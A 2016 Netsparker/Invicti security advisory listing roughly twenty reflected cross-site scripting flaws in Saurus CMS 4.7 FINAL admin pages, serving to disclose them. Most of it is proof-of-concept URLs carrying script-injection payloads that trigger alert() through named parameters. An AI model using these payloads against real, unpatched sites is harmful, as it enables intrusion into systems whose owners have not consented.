Multiple XSS Vulnerabilities Identified in Saurus CMS 4.7FINAL

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in Saurus CMS 4.7 FINAL
Affected Software: Saurus CMS
Affected Versions: v4.7FINAL and possibly below
Vendor Homepage: https://github.com/sauruscms 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-006

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Saurus CMS 4.7 FINAL:

URL: /saurus/admin/designs.php/'"--></style></scRipt><scRipt>alert(0x001858)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x001858)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id=13&kesk='"--></style></scRipt><scRipt>alert(0x00273A)</scRipt>&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias=headlogo
Parameter Name: kesk
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00273A)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id=13&kesk=&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias='"--></style></scRipt><scRipt>alert(0x002880)</scRipt>
Parameter Name: sys_alias
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002880)</scRipt>

URL: /saurus/admin/edit.php?op=new&keel=3&parent_id='"--></style></scRipt><scRipt>alert(0x002738)</scRipt>&kesk=&ttyyp_id=&tyyp_idlist=2&profile_id=&publish=3&allow_comments=3&sys_alias=headlogo
Parameter Name: parent_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x002738)</scRipt>

URL: /saurus/admin/edit_user.php?user_id='"--></style></scRipt><scRipt>alert(0x001D90)</scRipt>&tab=user&op=edit
Parameter Name: user_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001D90)</scRipt>

URL: /saurus/admin/error_log.php?'"--></style></scRipt><scRipt>alert(0x001B38)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B38)</scRipt>

URL: /saurus/admin/error_log.php?nsextt='"--></style></scRipt><scRipt>alert(0x001A40)</scRipt>
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001A40)</scRipt>

URL: /saurus/admin/feedbackforms_handler.php/'"--></style></scRipt><scRipt>alert(0x000EF2)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000EF2)</scRipt>

URL: /saurus/admin/images_config.php/'"--></style></scRipt><scRipt>alert(0x001890)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x001890)</scRipt>

URL: /saurus/admin/log.php/'"--></style></scRipt><scRipt>alert(0x000FAE)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000FAE)</scRipt>

URL: /saurus/admin/sys_alias.php/'"--></style></scRipt><scRipt>alert(0x00194A)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x00194A)</scRipt>

URL: /saurus/admin/trash.php/'"--></style></scRipt><scRipt>alert(0x000D06)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x000D06)</scRipt>

URL: /saurus/admin/user_management.php?user_id=&group_id='"--></style></scRipt><scRipt>alert(0x001B3A)</scRipt>&bookmark=1
Parameter Name: group_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B3A)</scRipt>

URL: /saurus/admin/user_management.php?user_id='"--></style></scRipt><scRipt>alert(0x001B2E)</scRipt>&group_id=1&bookmark=1
Parameter Name: user_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001B2E)</scRipt>

URL: /saurus/admin/edit.php?op=edit&id='"--></style></scRipt><scRipt>alert(0x003258)</scRipt>&callback=window.opener.fileUpdated
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003258)</scRipt>

URL: /saurus/admin/edit.php?op='"--></style></scRipt><scRipt>alert(0x003360)</scRipt>&id=10507&tab=permissions&callback=window.opener.folderUpdated
Parameter Name: op
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003360)</scRipt>

URL: /saurus/admin/edit.php?op=new&tyyp_id='"--></style></scRipt><scRipt>alert(0x003424)</scRipt>&parent_id=10506&callback=window.opener.fileUpdated
Parameter Name: tyyp_id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003424)</scRipt>

URL: /saurus/admin/edit.php?op=new&tyyp_id=21&parent_id=10506&callback='"--></style></scRipt><scRipt>alert(0x003552)</scRipt>
Parameter Name: callback
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003552)</scRipt>

URL: /saurus/admin/edit.php?op=edit&id=10507&tab=permissions&callback=window.opener.folderUpdated&nsextt='"--></style></scRipt><scRipt>alert(0x003622)</scRipt>
Parameter Name: nsextt
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003622)</scRipt>

URL: /saurus/admin/explorer.php?swk_setup='"--></style></scRipt><scRipt>alert(0x00364E)</scRipt>&editor=1&objekt_id=3&lang=1
Parameter Name: swk_setup
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00364E)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

15 Mar 2016 – First Contact
15 Mar 2016 – Vendor Replied
07 Jun 2016 – Advisory Released

Solution

They have stopped developing Saurus CMS.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.